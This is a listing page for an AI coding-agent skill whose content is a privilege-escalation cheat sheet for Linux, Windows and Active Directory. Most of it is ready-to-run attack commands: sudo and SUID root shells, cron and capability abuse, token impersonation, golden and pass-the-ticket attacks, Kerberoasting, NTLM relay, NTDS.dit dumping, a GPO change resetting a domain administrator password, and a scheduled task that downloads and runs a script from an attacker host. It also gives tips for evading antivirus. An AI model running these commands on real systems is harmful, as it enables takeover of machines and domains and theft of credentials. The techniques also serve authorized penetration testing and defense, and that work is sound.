davila7/claude-code-templates/privilege-escalation-methods

Claude Code and agent skill by davila7/claude-code-templates

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This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.

Install

npx vskill@latest install davila7/claude-code-templates/privilege-escalation-methods

SKILL.md

Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/Prerequisites

  • Initial low-privilege shell access on target system
  • Kali Linux or penetration testing distribution
  • Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
  • Understanding of Windows/Linux privilege models
  • For AD attacks: Domain user credentials and network access to DC

Outputs/Deliverables

  • Root or Administrator shell access
  • Extracted credentials and hashes
  • Persistent access mechanisms
  • Domain compromise (for AD environments)

Core Techniques

Linux Privilege Escalation
1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

bash
# Check sudo permissions
sudo -l
 
# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash
2. Abusing Scheduled Tasks (Cron)
bash
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab
 
# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh
 
# Wait for execution, then:
/bin/bash -p
3. Abusing Capabilities
bash
# Find binaries with capabilities
getcap -r / 2>/dev/null
 
# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
 
# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
 
# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
4. NFS Root Squashing
bash
# Check for NFS shares
showmount -e <victim_ip>
 
# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
5. MySQL Running as Root
bash
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p
Windows Privilege Escalation
1. Token Impersonation
powershell
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe
 
# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
2. Service Abuse
powershell
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
3. Abusing SeBackupPrivilege
powershell
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
4. Abusing SeLoadDriverPrivilege
powershell
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
5. Abusing GPO
powershell
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"
Active Directory Attacks
1. Kerberoasting
bash
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
 
# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
2. AS-REP Roasting
powershell
.\Rubeus.exe asreproast
3. Golden Ticket
powershell
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt
 
# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
4. Pass-the-Ticket
powershell
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket
5. Golden Ticket with Scheduled Tasks
powershell
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch
 
# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
 
# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"
Credential Harvesting
LLMNR Poisoning
bash
# Start Responder
responder -I eth1 -v
 
# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
NTLM Relay
bash
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
Dumping with VSS
powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

Quick Reference

TechniqueOSDomain RequiredTool
Sudo Binary AbuseLinuxNoGTFOBins
Cron Job ExploitLinuxNoManual
Capability AbuseLinuxNogetcap
NFS no_root_squashLinuxNomount
Token ImpersonationWindowsNoSweetPotato
Service AbuseWindowsNoPowerUp
KerberoastingWindowsYesRubeus/Impacket
AS-REP RoastingWindowsYesRubeus
Golden TicketWindowsYesMimikatz
Pass-the-TicketWindowsYesRubeus
DCSyncWindowsYesMimikatz
LLMNR PoisoningWindowsYesResponder

Constraints

Must:

  • Have initial shell access before attempting escalation
  • Verify target OS and environment before selecting technique
  • Use appropriate tool for domain vs local escalation

Must Not:

  • Attempt techniques on production systems without authorization
  • Leave persistence mechanisms without client approval
  • Ignore detection mechanisms (EDR, SIEM)

Should:

  • Enumerate thoroughly before exploitation
  • Document all successful escalation paths
  • Clean up artifacts after engagement

Examples

Example 1: Linux Sudo to Root
bash
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim
 
# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
Example 2: Windows Kerberoasting
bash
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
 
# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

Troubleshooting

IssueSolution
sudo -l requires passwordTry other enumeration (SUID, cron, capabilities)
Mimikatz blocked by AVUse Invoke-Mimikatz or SafetyKatz
Kerberoasting returns no hashesCheck for service accounts with SPNs
Token impersonation failsVerify SeImpersonatePrivilege is present
NFS mount failsCheck NFS version compatibility (vers=2,3,4)

Additional Resources

For detailed enumeration scripts, use:

  • LinPEAS: Linux privilege escalation enumeration
  • WinPEAS: Windows privilege escalation enumeration
  • BloodHound: Active Directory attack path mapping
  • GTFOBins: Unix binary exploitation reference

Security

  • Security scanPassed, 40 of 100Pattern checks on the skill's files.
  • Model reviewPassed

See the full security report

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

Popularity

Repository stars
23,336
Repository forks
2,235
Repository npm downloads, 7 days
3,197
7-day trend score
70

Stars and forks are for the whole GitHub repository, not this skill alone. Downloads are for the repository's npm package. Refreshed 22 Mar 2026, 7 months ago.

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